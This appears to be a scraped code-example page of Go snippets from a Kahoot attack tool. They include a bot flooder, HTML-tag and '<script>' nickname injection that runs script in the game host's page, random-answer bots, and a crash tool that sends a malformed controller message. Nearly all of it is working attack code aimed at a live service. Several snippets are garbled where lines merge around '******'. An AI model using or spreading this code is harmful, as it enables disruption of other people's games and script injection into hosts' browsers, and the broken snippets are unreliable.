Пример #1
0
func main() {
	if len(os.Args) != 4 {
		fmt.Fprintln(os.Stderr, "Usage: flood <game pin> <nickname prefix> <count>")
		os.Exit(1)
	}
	gamePin, err := strconv.Atoi(os.Args[1])
	if err != nil {
		fmt.Fprintln(os.Stderr, "invalid game pin:", os.Args[1])
		os.Exit(1)
	}

	count, err := strconv.Atoi(os.Args[3])
	if err != nil {
		fmt.Fprintln(os.Stderr, "invalid count:", os.Args[3])
		os.Exit(1)
	}

	nickname := os.Args[2]

	for i := 0; i < count; i++ {
		if conn, err := kahoot.NewConn(gamePin); err != nil {
			fmt.Fprintln(os.Stderr, "failed to connect:", err)
			os.Exit(1)
		} else {
			defer conn.GracefulClose()
			conn.Login(nickname + strconv.Itoa(i+1))
		}
	}

	fmt.Println("Kill this process to deauthenticate.")
	sigChan := make(chan os.Signal, 1)
	signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
	<-sigChan
}
Пример #2
0
func main() {
	if len(os.Args) != 3 {
		fmt.Fprintln(os.Stderr, "Usage: html <game pin> <nickname>")
		os.Exit(1)
	}
	gamePin, err := strconv.Atoi(os.Args[1])
	if err != nil {
		fmt.Fprintln(os.Stderr, "invalid game pin:", os.Args[1])
		os.Exit(1)
	}
	nickname := os.Args[2]

	for _, prefix := range []string{"<h1>", "<u>", "<h2>", "<marquee>", "<button>",
		"<input>", "<pre>", "<textarea>"} {
		if conn, err := kahoot.NewConn(gamePin); err != nil {
			fmt.Fprintln(os.Stderr, "failed to connect:", err)
			os.Exit(1)
		} else {
			defer conn.GracefulClose()
			conn.Login(prefix + nickname)
		}
	}

	fmt.Println("Kill this process to deauthenticate.")
	sigChan := make(chan os.Signal, 1)
	signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
	<-sigChan
}
Пример #3
0
func main() {
	if len(os.Args) != 3 {
		fmt.Fprintln(os.Stderr, "Usage: play <game pin> <nickname>")
		os.Exit(1)
	}
	gamePin, err := strconv.Atoi(os.Args[1])
	if err != nil {
		fmt.Fprintln(os.Stderr, "invalid game pin:", os.Args[1])
		os.Exit(1)
	}
	nickname := os.Args[2]

	conn, err := kahoot.NewConn(gamePin)
	if err != nil {
		fmt.Fprintln(os.Stderr, "failed to connect:", err)
		os.Exit(1)
	}
	if err := conn.Login(nickname); err != nil {
		fmt.Fprintln(os.Stderr, "failed to login:"******"Could not receive question:", err)
			}
			os.Exit(1)
		}
		if action.Type == kahoot.QuestionIntro {
			fmt.Println("Awaiting answers...")
		} else if action.Type == kahoot.QuestionAnswers {
			fmt.Print("Answer (0 through " + strconv.Itoa(action.NumAnswers-1) + "): ")
			answer := readNumberInput()
			if err := quiz.Send(answer); err != nil {
				fmt.Fprintln(os.Stderr, "Could not answer:", err)
				os.Exit(1)
			}
		}
	}
}
Пример #4
0
func floodHack(gamePin int, nickname string) bool {
	log.Println("Flood hack:", gamePin, "with nickname", nickname)
	for i := 0; i < 20; i++ {
		conn, err := kahoot.NewConn(gamePin)
		if err != nil {
			return false
		}
		conn.Login(nickname + strconv.Itoa(i+1))
		defer conn.Close()
	}
	return true
}
Пример #5
0
func htmlHack(gamePin int, nickname string) bool {
	log.Println("HTML hack:", gamePin, "with nickname", nickname)
	for _, prefix := range []string{"<h1>", "<u>", "<h2>", "<marquee>", "<button>",
		"<input>", "<pre>", "<textarea>"} {
		conn, err := kahoot.NewConn(gamePin)
		if err != nil {
			return false
		}
		defer conn.Close()
		conn.Login(prefix + nickname)
	}
	return true
}
Пример #6
0
func runShortScript(gamePin int, script string, delay1, delay2 time.Duration) error {
	conn, err := kahoot.NewConn(gamePin)
	if err != nil {
		return err
	}

	if err := conn.Login("<script>" + script + "//"); err != nil {
		conn.GracefulClose()
		return err
	}

	time.Sleep(delay1)
	conn.GracefulClose()
	time.Sleep(delay2)

	return nil
}
Пример #7
0
func launchConnection(gamePin int, nickname string) {
	defer wg.Done()

	conn, err := kahoot.NewConn(gamePin)
	if err != nil {
		fmt.Fprintln(os.Stderr, "failed to connect:", err)
		os.Exit(1)
	}

	closed := make(chan bool, 1)
	closed <- false
	go func() {
		sigChan := make(chan os.Signal, 1)
		signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
		<-sigChan
		<-closed
		closed <- true
		conn.GracefulClose()
	}()

	if err := conn.Login(nickname); err != nil {
		fmt.Fprintln(os.Stderr, "failed to login:"******"Could not receive question:", err)
				os.Exit(1)
			}
		}
		if action.Type == kahoot.QuestionAnswers {
			quiz.Send(rand.Intn(action.NumAnswers))
		}
	}
}
Пример #8
0
func main() {
	if len(os.Args) != 3 {
		fmt.Fprintln(os.Stderr, "Usage: crash <game pin> <nickname>")
		os.Exit(1)
	}
	gamePin, err := strconv.Atoi(os.Args[1])
	if err != nil {
		fmt.Fprintln(os.Stderr, "invalid game pin:", os.Args[1])
		os.Exit(1)
	}
	nickname := os.Args[2]

	conn, err := kahoot.NewConn(gamePin)
	defer conn.GracefulClose()
	if err != nil {
		fmt.Fprintln(os.Stderr, "failed to connect:", err)
		os.Exit(1)
	}
	if err := conn.Login(nickname); err != nil {
		fmt.Fprintln(os.Stderr, "failed to login:"******"/service/player")
		if err != nil {
			fmt.Fprintln(os.Stderr, "failed to receive player packet:", err)
			os.Exit(1)
		}
		if data, ok := msg["data"].(map[string]interface{}); ok {
			if contentStr, ok := data["content"].(string); ok {
				var content map[string]interface{}
				if json.Unmarshal([]byte(contentStr), &content) != nil {
					continue
				} else if _, ok := content["questionIndex"]; ok {
					delayCount--
					if delayCount == 0 {
						break
					}
				}
			}
		}
	}

	fmt.Println("got question; crashing...")

	content := kahoot.Message{"choice": 0, "meta": kahoot.Message{"lag": 1000, "device": "HACKS"}}
	encodedContent, _ := json.Marshal(content)
	msg := kahoot.Message{
		"data": kahoot.Message{
			"type":    "message",
			"gameid":  gamePin,
			"host":    "kahoot.it",
			"content": string(encodedContent),
			"id":      6,
		},
	}
	if err := conn.Send("/service/controller", msg); err != nil {
		fmt.Fprintln(os.Stderr, "failed to send hack:", err)
	}

	time.Sleep(time.Second)
}